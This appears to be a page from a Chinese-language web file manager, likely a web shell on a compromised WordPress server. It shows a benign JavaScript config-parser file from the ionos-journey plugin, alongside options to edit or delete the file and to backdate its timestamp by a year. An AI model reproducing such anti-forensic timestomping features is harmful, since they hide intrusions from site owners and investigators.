文件操作 - config-parser.js
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/ionos-journey/js/journey/parts/config-parser.js
编辑文件内容
import History from '../helpers/history.js'; import UrlHelper from '../helpers/url-helper.js'; export default class ConfigParser { constructor( config ) { this.config = JSON.parse( config ); this.maxIndex = Object.keys( this.config ).length; this.currentIndex = 0; } loadHistory() { const lastItem = History.getLast(); if ( lastItem !== undefined && lastItem.pageName === UrlHelper.getPageName() ) { this.currentIndex = History.pop().index; } } current() { return this.config[ this.currentIndex ]; } next() { if ( Object.keys( this.config ).length <= this.currentIndex + 1 ) { return null; } if ( this.config[ this.currentIndex ].type !== 'redirect' ) { History.push( this.currentIndex ); } this.currentIndex++; return this.current(); } prev() { const historyItem = History.getLast(); if ( historyItem !== undefined ) { if ( historyItem.pageName !== UrlHelper.getPageName() ) { UrlHelper.redirectToPage( historyItem.pageName, historyItem.urlParams ); return null; } this.currentIndex = History.pop().index; return this.current(); } return null; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件